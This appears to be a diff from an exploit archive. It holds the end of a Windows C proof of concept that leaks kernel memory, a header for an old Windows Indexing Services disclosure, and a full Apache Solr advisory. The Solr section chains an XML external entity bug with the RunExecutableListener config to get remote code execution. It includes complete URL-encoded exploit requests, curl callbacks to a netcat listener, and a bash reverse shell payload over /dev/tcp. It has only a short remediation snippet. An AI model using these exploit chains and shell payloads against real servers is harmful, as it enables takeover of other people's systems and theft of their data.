if (!IsWow64Process(GetCurrentProcess(), &wow64) || wow64) {
printf("The program has to be built for the native architecture of your OS (x86 or x64).\n");
return 1;
}
HANDLE hFile = CreateFile(L"C:\\Windows\\system32\\svchost.exe", FILE_READ_ATTRIBUTES, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
BYTE OutputBuffer[0x100];
ULONG ReturnLength;
ULONG MaximumLeakLength;
for (MaximumLeakLength = 0; MaximumLeakLength < sizeof(OutputBuffer); MaximumLeakLength++) {
NTSTATUS st = NtQueryObject(hFile, ObjectNameInformation, OutputBuffer, MaximumLeakLength, &ReturnLength);
if (st == STATUS_OBJECT_PATH_INVALID) {
MaximumLeakLength--;
break;
}
}
while (1) {
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
NTSTATUS st = NtQueryObject(hFile, ObjectNameInformation, OutputBuffer, MaximumLeakLength, &ReturnLength);
if (st != STATUS_BUFFER_OVERFLOW) {
printf("NtQueryObject failed, %x\n", st);
CloseHandle(hFile);
return 1;
}
PrintHex(OutputBuffer, MaximumLeakLength);
getchar();
}
CloseHandle(hFile);
return 0;
}

View file

@ -1,10 +1,12 @@
source : http://www.securityfocus.com/bid/1933/info
<!--
source: http://www.securityfocus.com/bid/1933/info
Microsoft Windows 2000 Indexing Services is a search engine that will allow a user to perform full-text searches of online sites using their browsers. Search results include Word, Excel, PowerPoint, and HTML documents. By default, this service is not enabled in Windows 2000.
A malicious website operator may verify the existence of files residing on a Windows 2000 system with Indexing Services enabled. The website operator is capable of searching for specific files by using the Indexing Services via specially malformed HTML containing the ActiveX Object 'ixsso.query'. Query results will display the full physical path of the file and will only be retrieved from directories that have been explicitly configured as searchable directories within the Indexing Service.
Successful disclosure of a file's availability may aid in more severe attacks against the target system.
-->
<HTML>

186
platforms/xml/webapps/43009.txt Executable file
View file

@ -0,0 +1,186 @@
First Vulnerability: XML External Entity Expansion (deftype=xmlparser)
Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query.
The problem is that lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. It is possible to include special entities in the xml document, that point to external files (via file://) or external urls (via http://):
Example usage: http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"'><a></a>'}
When Solr is parsing this request, it makes a HTTP request to http://xxx.s.artsploit.com/xxx and treats its content as DOCTYPE definition.
Considering that we can define parser type in the search query, which is very often comes from untrusted user input, e.g. search fields on websites. It allows to an external attacker to make arbitrary HTTP requests to the local SOLR instance and to bypass all firewall restrictions.
For example, this vulnerability could be user to send malicious data to the '/upload' handler:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
This vulnerability can also be exploited as Blind XXE using ftp wrapper in order to read arbitrary local files from the solrserver.
Vulnerable code location:
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Steps to reproduce:
1. Set up a listener on any port by using netcat command "nc -lv 4444"
2. Open http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}
3. You will see a request from the Solr server on your netcat listener. It proves that the DOCTYPE declaration is resolved.
Remediation suggestions:
Consider adding the following lines to /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java:
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Links:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
CVSS v2 base score: 9.0
(AV:N/AC:L/Au:N/C:C/I:P/A:P)
Second Vulnerability: Remote Code Execution (add-listener: RunExecutableListener)
Solr "RunExecutableListener" class can be used to execute arbitrary commands on specific events, for example after each update query. The problem is that such listener can be enabled with any parameters just by using Config API with add-listener command.
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"ANYCOMMAND",
"dir":"/usr/bin/",
"args":["ANYARGS"]
}
}
Parameters "exe", "args" and "dir" can be crafted throught the HTTP request during modification of the collection's config. This means that anybody who can send a HTTP request to Solr API is able to execute arbitrary shell commands when "postCommit" event is fired. It leads to execution of arbitrary remote code for a remote attacker.
Steps to reproduce:
Step 1. Create a new collection:
http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2
Step 2. Set up a listener on any port by using netcat command "nc -lv 4444"
Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener:
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://localhost:4444/executed"]
}
}
Step 4. Update "newcollection" to trigger execution of RunExecutableListener:
POST /solr/newcollection/update HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 19
[{"id":"test"}]
Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server.
CVSS v2 base score: 10.0
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
Summary:
By chaining these two vulnerabilities, an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to "q"
search parameter (which is a case for many web applications who use solr).
Lets say that we have an attacker who can only send search queries ("q" param) to a "/select" solr endpoint.
Here is the complete exploit scenario:
Step 1. Create New collection via XXE. This step may be skipped if the attacker already knows any collection name.
http://localhost:8983/solr/gettingstarted/select?q=%20%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%63%6f%6c%6c%65%63%74%69%6f%6e%73%3f%61%63%74%69%6f%6e%3d%43%52%45%41%54%45%26%6e%61%6d%65%3d%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%26%6e%75%6d%53%68%61%72%64%73%3d%32%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20
Without URL encode:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2"><a></a>'}
Step 2. Set up a netcat listener "nc -lv 4444"
Step 3. Add a new RunExecutableListener listener via XXE
http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%73%65%6c%65%63%74%3f%71%3d%78%78%78%26%71%74%3d%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%63%6f%6e%66%69%67%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%32%35%37%62%25%32%35%32%32%25%32%35%36%31%25%32%35%36%34%25%32%35%36%34%25%32%35%32%64%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%37%62%25%32%35%32%32%25%32%35%36%35%25%32%35%37%36%25%32%35%36%35%25%32%35%36%65%25%32%35%37%34%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%30%25%32%35%36%66%25%32%35%37%33%25%32%35%37%34%25%32%35%34%33%25%32%35%36%66%25%32%35%36%64%25%32%35%36%64%25%32%35%36%39%25%32%35%37%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%65%25%32%35%36%31%25%32%35%36%64%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%36%65%25%32%35%36%35%25%32%35%37%37%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%33%25%32%35%36%63%25%32%35%36%31%25%32%35%37%33%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%66%25%32%35%36%63%25%32%35%37%32%25%32%35%32%65%25%32%35%35%32%25%32%35%37%35%25%32%35%36%65%25%32%35%34%35%25%32%35%37%38%25%32%35%36%35%25%32%35%36%33%25%32%35%37%35%25%32%35%37%34%25%32%35%36%31%25%32%35%36%32%25%32%35%36%63%25%32%35%36%35%25%32%35%34%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%37%38%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%34%25%32%35%36%39%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%31%25%32%35%37%32%25%32%35%36%37%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%35%62%25%32%35%32%32%25%32%35%32%64%25%32%35%36%33%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%34%25%32%35%34%30%25%32%35%37%63%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%65%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%36%33%25%32%35%36%38%25%32%35%36%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%36%32%25%32%35%36%31%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%64%25%32%35%36%39%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%65%25%32%35%32%36%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%34%25%32%35%36%35%25%32%35%37%36%25%32%35%32%66%25%32%35%37%34%25%32%35%36%33%25%32%35%37%30%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%37%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%31%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%33%25%32%35%33%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%30%25%32%35%33%65%25%32%35%32%36%25%32%35%33%31%25%32%35%32%32%25%32%35%35%64%25%32%35%37%64%25%32%35%37%64%26%73%68%61%72%64%73%3d%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%22%3e%3c%61%3e%3c%2f%61%3e%27%7d
Without URL encode:
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/select?q=xxx&qt=/solr/newcollection/config?stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/127.0.0.1/1234","0>&1"]}}&shards=localhost:8983/"><a></a>'}
As you may notice, in order to update the config we need to send a POST request to the application. But by using XXE vulnerability we can only send HTTP GET requests. There is a special trick is used here: If Solr receives "/select?q=123&qt=/xxx&shards=localhost:8983/" GET request, it actually converts it to POST and redirects this request to the shard specified in "shards" parameter. Which is also cool, it overwrites url query by the "qt" parameter, so we can convert it from "/select" to "/config".
The result HTTP request that is landed to localhost:8983/ will be POST request with stream.body="our_value". That is exactly what we need in terms of exploitation.
Step 3. Update "newcollection" through XXE to trigger execution of RunExecutableListener
http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%75%70%64%61%74%65%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%35%62%25%37%62%25%32%32%25%36%39%25%36%34%25%32%32%25%33%61%25%32%32%25%34%31%25%34%31%25%34%31%25%32%32%25%37%64%25%35%64%26%63%6f%6d%6d%69%74%3d%74%72%75%65%26%6f%76%65%72%77%72%69%74%65%3d%74%72%75%65%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20
Without URL encode:
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/update?stream.body=[{"id":"AAA"}]&commit=true&overwrite=true"><a></a>'}
Step 5. When the "/bin/sh c $@|sh . echo /bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1" command is executed during update, a new shell session will be opened on the netcat listener. An attacker can execute any shell command on the server where Solr is running.
In all three requests Solr responds with different errors, but all of these error are happened after desired actions are executed.
All these vulnerabilities were tested on the latest version of Apache Solr with the default cloud config (bin/solr start -e cloud -noprompt)
These vulnerabilities were discovered by:
Michael Stepankin (JPMorgan Chase)
Olga Barinova (Gotham Digital Science)